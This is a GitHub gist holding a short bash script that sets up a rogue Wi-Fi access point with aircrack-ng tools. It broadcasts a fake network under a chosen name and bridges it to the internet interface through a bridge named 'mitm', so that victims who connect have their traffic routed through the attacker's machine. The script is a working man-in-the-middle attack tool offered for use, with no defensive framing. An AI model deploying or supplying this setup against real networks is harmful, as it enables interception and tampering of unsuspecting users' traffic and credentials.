Skip to content

Instantly share code, notes, and snippets.

@arrase
Last active June 6, 2018 12:29
Show Gist options
  • Save arrase/3d681c0f2ab41bd482d3843cb0fcde89 to your computer and use it in GitHub Desktop.
Save arrase/3d681c0f2ab41bd482d3843cb0fcde89 to your computer and use it in GitHub Desktop.
Rogue AP with aircrack-ng
#!/bin/bash
# Run: ./rogue_ap.sh <internet-interface> <wlan-interface> <ESSID>
airmon-ng start $2
airbase-ng --essid $3 mon0 &
# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
# echo "1" > /proc/sys/net/ipv4/ip_forward
# bridge-utils
brctl addbr mitm
brctl addif mitm at0 # Rogue ap interface
brctl addif mitm $1
dhclient mitm
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment